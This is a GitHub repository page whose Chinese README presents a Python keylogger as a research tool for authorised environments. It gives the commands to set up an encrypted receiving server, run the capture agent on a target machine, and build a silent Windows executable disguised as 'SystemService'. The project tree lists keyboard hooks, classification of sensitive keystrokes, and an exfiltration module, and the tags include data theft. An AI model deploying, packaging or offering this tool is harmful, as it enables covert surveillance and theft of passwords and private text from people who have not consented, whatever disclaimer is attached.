garvjain7/python-keylogger
GitHub: garvjain7/python-keylogger
面向授权环境的键盘记录与加密回传研究工具,用于模拟端点数据外发以辅助安全评估。
Stars: 0 | Forks: 0
# 键盘记录器 — 网络安全研究工具
# 仅限用于授权/受控环境
## 设置
### 1. 生成加密密钥(运行一次)
```
python -m agent.transport.crypto
```
复制输出的密钥。在两台机器上均将其设置为环境变量:
```
# Windows
set KL_SECRET_KEY=
# Linux / macOS
export KL_SECRET_KEY=
```
### 2. 设置服务器密码
```
python server/app.py --set-password
```
### 3. 安装依赖项
```
pip install -r deploy/requirements.txt
```
外加 requirements.txt 注释中列出的特定平台包。
### 4. 配置服务器地址
编辑 `config/settings.py`:
```
SERVER_HOST = "192.168.x.x" # your machine's IP on the test network
```
## 运行
### 启动服务器(你的机器)
```
python server/app.py
```
### 查看日志(需要密码)
```
python server/app.py --view
```
### 运行代理(目标机器)
```
python agent/main.py
```
### 构建静默 .exe(Windows)
```
python deploy/build.py --name SystemService
```
输出:`dist/SystemService.exe` — 无窗口运行。
## 项目结构
```
keylogger/
├── agent/
│ ├── core/
│ │ ├── buffer.py # virtual cursor engine
│ │ └── listener.py # pynput keyboard hooks
│ ├── platform/
│ │ ├── __init__.py # unified get_active_window()
│ │ ├── windows.py
│ │ ├── linux.py
│ │ └── macos.py
│ ├── intelligence/
│ │ ├── fingerprint.py # device/OS info
│ │ ├── patterns.py # sensitivity classification rules
│ │ └── processor.py # NLP session processing
│ ├── transport/
│ │ ├── crypto.py # AES-256 encryption
│ │ └── exfil.py # HTTP POST + retry queue
│ └── main.py # orchestrator entry point
├── server/
│ ├── app.py # Flask receiver + CLI viewer
│ ├── auth.py # bcrypt password management
│ ├── storage.py # decrypt + persist logs
│ └── logs/ # .jsonl log files per device
├── config/
│ └── settings.py # all configuration in one place
└── deploy/
├── build.py # PyInstaller packaging script
└── requirements.txt
```
标签:DNS 反向解析, Flask, Python, 数据窃取, 无后门, 无线安全, 时序数据库, 漏洞挖掘, 端点侦察, 网络信息收集, 逆向工具, 键盘记录器